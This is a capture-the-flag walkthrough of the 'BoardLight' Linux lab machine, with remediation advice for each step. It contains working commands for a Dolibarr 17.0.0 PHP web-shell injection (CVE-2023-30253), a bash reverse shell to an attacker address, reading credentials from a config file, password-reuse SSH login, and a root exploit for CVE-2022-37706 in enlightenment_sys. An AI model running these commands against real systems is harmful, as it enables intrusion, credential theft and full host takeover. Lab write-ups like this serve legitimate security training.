jperezduerto.info
BoardLight
Linux· Easy
Summary
I discovered a secondary virtual-host running Dolibarr 17.0.0 CRM, authenticated using the application's factory-default credentials, then exploited CVE-2023-30253 to inject a PHP web-shell by writing an uppercase <?PHP tag that bypassed the application's own lowercase-tag filter. From the resulting www-data shell, my read the Dolibarr database configuration file, extracted a plaintext password, and found that the same password had been reused as the SSH login for a local system account.
After pivoting to that account, I exploited CVE-2022-37706, a path-traversal and command-injection flaw in an SUID-root Enlightenment desktop utility, to execute arbitrary commands as root and fully compromise the host.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
1ReconnaissanceVirtual-host enumeration / banner grabbing
Discovered hidden CRM virtual-host and confirmed Dolibarr 17.0.0
A port scan revealed an Apache web server on port 80. Virtual-host fuzzing uncovered a second hostname, crm.board.htb, running Dolibarr 17.0.0. The exact version was leaked by the application's own stylesheet URL, which appended ?version=17.0.0 in plain sight — handing my a precise target for known public exploits.
/theme/eldy/style.css.php?...&version=17.0.0&revision=1 confirmed Dolibarr 17.0.0 at crm.board.htb
Exact commands 3
Register both hostnames locally before probing.
echo "$TARGET board.htb crm.board.htb" >> /etc/hostsFull-range port scan; Apache on port 80 is the primary surface.
nmap -sC -sV -p- --min-rate 5000 $TARGET -oN nmap.txtVHost fuzz against board.htb — crm.board.htb returns a unique response size.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.board.htb' -u http://$TARGET -fs 159492Initial accessDefault credentials (T1078.001)
Authenticated to Dolibarr with default admin credentials
The Dolibarr administrative login page was publicly reachable and still protected only by the out-of-the-box password. Entering admin / admin granted a fully authenticated session, from which I could reach every privileged function in the application, including the Website module used in the next step.
Exact commands 1
A 302 redirect indicates successful login. Cookie jar is saved to /tmp/board_cj for subsequent requests.
curl -sS -c /tmp/board_cj -b /tmp/board_cj -H 'Host: crm.board.htb' -d 'loginfunction=loginfunction&backtopage=&tz=0&tz_string=UTC&dst_observed=0&dst_first=&dst_second=&selectlang=auto&username=admin&password=$PASSWORD2&token=&action=login' "http://$TARGET/index.php" -L -o /dev/null -w '%{http_code}'FixReplace default Dolibarr admin credentials immediately on installationCritical
WeaknessThe Dolibarr administrator account retained the factory-default password (admin / admin), allowing anyone who could reach the login page to gain full administrative access to the CRM.
FixEnforce a unique, randomly generated administrator password (minimum 20 characters, mixed case, digits, and special characters) as a mandatory step during installation — document this in a hardening checklist. Restrict access to the Dolibarr login page to known corporate IP ranges using a firewall or web-server access-control list so the admin interface is never reachable from the public internet.
3ExploitationCVE-2023-30253 — Dolibarr PHP code injection via uppercase-tag bypass
Injected a PHP web-shell via the Website module (CVE-2023-30253)
Dolibarr 17.0.0's Website module lets administrators edit raw page HTML/PHP. The application tries to block PHP execution by rejecting the lowercase <?php tag, but writing <?PHP in uppercase bypasses the check entirely. I created a website (bd1782719961) and a page (pageid=1), then saved a one-liner PHP web-shell as the page content. Dolibarr wrote the payload verbatim to /var/www/html/crm.board.htb/documents/website/bd1782719961/page1.tpl.php, confirmed by a path-disclosure comment in the server's 'Saved' response.
Exact commands 3
Create the target website container.
tok=$(curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' "http://$TARGET/website/index.php?action=addwebsite" | sed -n 's/.*name="token" value="\([^"]*\)".*/\1/p' | head -1); curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' -d "action=addwebsite&token=$tok&website_ref=bd1782719961&mainlang=en_US&fk_default_home=&virtualhost=" "http://$TARGET/website/index.php" -L -o /dev/nullCreate a page inside the website.
tok=$(curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' "http://$TARGET/website/index.php?action=createcontainer&website=bd1782719961" | sed -n 's/.*name="token" value="\([^"]*\)".*/\1/p' | head -1); curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' -d "action=addcontainer&token=$tok&WEBSITE_REF=bd1782719961&pageurl=page1&pagetitle=page1&pagetype=page" "http://$TARGET/website/index.php?action=createcontainer&website=bd1782719961" -L -o /dev/nullFetch a fresh CSRF token (critical — stale tokens are rejected), then POST the payload with uppercase PHP tag. 'Saved' in the response confirms the file was written.
ref=bd1782719961; pid=1; tok=$(curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' "http://$TARGET/website/index.php?action=editsource&website=$ref&pageid=$pid" | sed -n 's/.*name="token" value="\([^"]*\)".*/\1/p' | head -1); curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' --data-urlencode "PAGE_CONTENT=<?PHP if(isset(\$_GET['c'])){ system(\$_GET['c']); } ?>" -d "action=updatesource&token=$tok&website=$ref&pageid=$pid" "http://$TARGET/website/index.php" | grep -i savedFixPatch Dolibarr immediately to remediate CVE-2023-30253Critical
WeaknessDolibarr 17.0.0's Website module accepted PHP payloads written with an uppercase tag (<?PHP), bypassing its own security filter, and saved the result as an executable .tpl.php file under the web root where Apache would serve and run it.
FixUpgrade Dolibarr to version 17.0.1 or later, which blocks this bypass. As layered defence, add an Apache or Nginx rule denying direct HTTP access to the documents/ template directory (e.g., Require all denied in .htaccess or a deny location block). If the Website module is not actively used for business purposes, disable it in Dolibarr's module configuration to eliminate the attack surface entirely.
4Command executionWeb shell — remote OS command execution (T1505.003)
Triggered the web-shell to run OS commands as www-data
With the PHP file written to the server's document root, a simple GET request with query parameter ?c=<command> caused Apache to execute arbitrary operating-system commands under the www-data service account. I confirmed code execution with 'id', then used the shell to explore the file system and locate Dolibarr's configuration file.
Exact commands 2
Verify RCE — response should include uid=33(www-data).
curl -sS -H 'Host: crm.board.htb' "http://$TARGET/public/website/index.php?website=bd1782719961&pageref=page1&c=id"Upgrade to a reverse listener if an interactive shell is needed. Replace $ATTACKER_IP and ensure a netcat listener is running on port 4444.
curl -sS -H 'Host: crm.board.htb' "http://$TARGET/public/website/index.php?website=bd1782719961&pageref=page1&c=bash+-c+'bash+-i+>%26+/dev/tcp/$ATTACKER_IP/4444+0>%261'"5Credential discoveryCredentials in application configuration file (T1552.001)
Recovered a plaintext database password from the Dolibarr config file
Dolibarr stores its database connection settings — including the password in cleartext — in conf/conf.php under its web root. Using the www-data shell, my read this file and extracted the password '[REDACTED: recovered credential]'. This is an inherent behaviour of the application; the risk is compounded when the same password is shared with any other system.
SSH login as larissa with the password recovered from conf.php succeeded, confirming the credential was valid and reused.
Exact commands 1
Dumps the Dolibarr config; look for the dolibarr_main_db_pass field — value is [REDACTED: recovered credential]
curl -sS -H 'Host: crm.board.htb' "http://$TARGET/public/website/index.php?website=bd1782719961&pageref=page1&c=cat+/var/www/html/crm.board.htb/htdocs/conf/conf.php"6Lateral movementPassword reuse / valid account (T1078)
SSH'd into the server as local user larissa by reusing the database password
The database password found in the configuration file had been set as the login password for the local operating-system account 'larissa'. A direct SSH connection with that credential succeeded, giving me a stable, interactive shell on the host and capturing the user flag.
Sshpass -p '[REDACTED: recovered credential]' ssh larissa@$TARGET returned a valid interactive shell.
Exact commands 1
Authenticates as larissa; user flag is <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 larissa@$TARGET 'id; hostname; cat /home/larissa/user.txt'FixEnforce unique passwords across application and operating-system layersHigh
WeaknessThe Dolibarr database password (stored in plaintext in conf/conf.php) was identical to the SSH login password for local system account 'larissa', so a single credential from an application config file unlocked a full interactive OS session.
FixGenerate separate, independent passwords for every service layer — database, CRM admin, and OS user accounts must never share credentials. Store application secrets in a dedicated secrets-management solution (such as HashiCorp Vault or a cloud-native equivalent) rather than in plaintext config files wherever the application supports it. Rotate larissa's SSH password and the Dolibarr database password immediately, and audit all other application config files for reused or shared credentials.
7Privilege escalationCVE-2022-37706 — SUID binary path-traversal / command injection (T1548.001)
Gained root via SUID enlightenment_sys binary (CVE-2022-37706)
The Enlightenment desktop-environment utility 'enlightenment_sys' was installed with the SUID root bit set, meaning any local user who runs it does so with full root privileges. CVE-2022-37706 exploits a path-traversal and argument-injection flaw: the binary passes a caller-controlled path directly to /bin/mount via a root-privileged shell call. By naming a directory to include a semicolon and a second command (e.g., /dev/../tmp/;/tmp/exploit), the shell interprets the semicolon as a command separator and runs /tmp/exploit as root. I placed a script at /tmp/exploit that copied /bin/bash and set its SUID bit, then called the resulting rootbash -p to open a root shell.
Exact commands 5
Confirm the SUID bit is set: /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
find / -perm -4000 -type f 2>/dev/null | grep enlightenmentCreate staging directories. The semicolon in the directory name is the injection point.
rm -f /tmp/rootbash /tmp/exploit && mkdir -p /tmp/net && mkdir -p '/dev/../tmp/;/tmp/exploit'Write the payload: when executed as root, it produces a SUID copy of bash.
printf '%s\n' '#!/bin/sh' 'cp /bin/bash /tmp/rootbash' 'chmod 4755 /tmp/rootbash' > /tmp/exploit && chmod +x /tmp/exploitTrigger the vulnerability. Enlightenment_sys invokes mount as root; the shell splits at ';' and executes /tmp/exploit as root, creating /tmp/rootbash.
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u) '/dev/../tmp/;/tmp/exploit' /tmp///netSpawn a root shell using the SUID bash copy. Id should show uid=0(root). Root flag is <root.txt>.
/tmp/rootbash -p -c 'id; cat /root/root.txt'FixRemove the SUID bit from enlightenment_sys and patch or uninstall EnlightenmentCritical
WeaknessThe Enlightenment utility 'enlightenment_sys' was installed with the SUID root bit set and was vulnerable to CVE-2022-37706, allowing any local user to execute arbitrary commands as root through a path-traversal/command-injection flaw in the way it passed arguments to /bin/mount.
FixIf the Enlightenment desktop environment is not required on this server (it typically has no place on a headless Linux host), uninstall it entirely: apt purge enlightenment. If it must remain, upgrade to a vendor-patched version and immediately strip the SUID bit from the affected binary: chmod u-s /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys. Audit all SUID binaries on the system (find / -perm -4000 -type f 2>/dev/null) and remove the SUID bit from any binary that does not have a documented, current need for it.
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.